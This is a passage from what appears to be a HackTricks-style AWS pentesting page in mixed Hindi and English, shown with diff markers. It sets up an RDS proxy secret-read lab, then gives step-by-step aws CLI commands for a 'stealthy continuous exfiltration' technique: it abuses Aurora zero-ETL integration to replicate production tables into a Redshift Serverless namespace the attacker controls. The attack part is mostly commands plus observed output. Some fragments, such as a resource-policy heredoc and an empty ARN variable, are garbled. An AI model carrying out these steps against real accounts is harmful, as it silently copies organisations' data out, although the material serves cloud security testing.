+SECRET_ARN=$(aws secretsmanager create-secret \ +--region $REGION --name rds/proxy/aurora-demo \ +--secret-string username:admin \ +--query ARN --output text) +aws iam create-role --role-name rds-proxy-secret-role \ +--assume-role-policy-document Version:2012-10-17 +aws iam attach-role-policy --role-name rds-proxy-secret-role \ +--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ +--auth [AuthScheme:SECRETS] \ +--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \ +--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text) +aws rds wait db-proxy-available --db-proxy-name p0 +# Now run the enumeration + secret read from the Steps above +``` +साफ-सफाई (लैब) +```bash +aws rds delete-db-proxy --db-proxy-name p0 +aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws iam delete-role --role-name rds-proxy-secret-role +aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery +``` +### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) + +Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके production data को लगातार उस Redshift Serverless namespace में replicate करें जिसे आप नियंत्रित करते हैं। एक permissive Redshift resource policy जो एक विशिष्ट Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को अधिकृत करती है, एक attacker को बिना DB creds, snapshots या network exposure के near‑real‑time data copy स्थापित करने में सक्षम बनाती है। + +आवश्यक permissions (न्यूनतम): +- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` +- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) +- `rds-data:ExecuteStatement` (optional; to seed data if needed) + +Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. + +
+1) Redshift Serverless namespace + workgroup बनाएँ +```bash +REGION=us-east-1 +RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ +--admin-username adminuser --admin-user-password 'AdminPwd-1!' \ +--query namespace.namespaceArn --output text) +RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ +--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ +--query workgroup.workgroupArn --output text) +# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) +aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ +--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true +``` +
+ +
+2) Redshift रिसोर्स पॉलिसी को कॉन्फ़िगर करें ताकि Aurora स्रोत को अनुमति दी जा सके +```bash +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SRC_ARN= +cat > rs-rp.json < + +
+3) Aurora PostgreSQL cluster बनाएँ (Data API और logical replication सक्षम करें) +```bash +CLUSTER_ID=aurora-ztl +aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--engine aurora-postgresql --engine-version 16.4 \ +--master-username postgres --master-user-password 'InitPwd-1!' \ +--enable-http-endpoint --no-deletion-protection --backup-retention-period 1 +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +# Serverless v2 instance +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately +aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ +--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +# Cluster parameter group for zero‑ETL +aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ +--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" +aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ +ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately +aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) +``` +
+ +
+4) RDS से zero‑ETL इंटीग्रेशन बनाएं +```bash +# Include all tables in the default 'postgres' database +aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ +--target-arn "$RS_NS_ARN" --integration-name ztl-demo \ +--data-filter 'include: postgres.*.*' +# Redshift inbound integration should become ACTIVE +aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" +``` +
+ +
+5) Redshift में प्रतिकृत डेटा को materialize और query करें +```bash +# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "select integration_id from svv_integration" # take the GUID value +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "create database ztl_db from integration '' database postgres" +# List tables replicated +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ +--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" +``` +
+ +परीक्षण में देखे गए साक्ष्य: +- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... +- SVV_INTEGRATION ने integration_id 377a462b-c42c-4f08-937b-77fe75d98211 और state PendingDbConnectState DB निर्माण से पहले दिखाया। +- CREATE DATABASE FROM INTEGRATION के बाद, तालिकाएँ सूचीबद्ध करने पर schema ztl और table customers प्रकट हुए; ztl.customers से चयन करने पर 2 पंक्तियाँ (Alice, Bob) वापस आईं। + +प्रभाव: चयनित Aurora PostgreSQL तालिकाओं का लगातार near‑real‑time exfiltration Redshift Serverless में, जो हमलावर द्वारा नियंत्रित है, बिना database credentials, backups, या स्रोत क्लस्टर के network access का उपयोग किए। + {{#include ../../../banners/hacktricks-training.md}}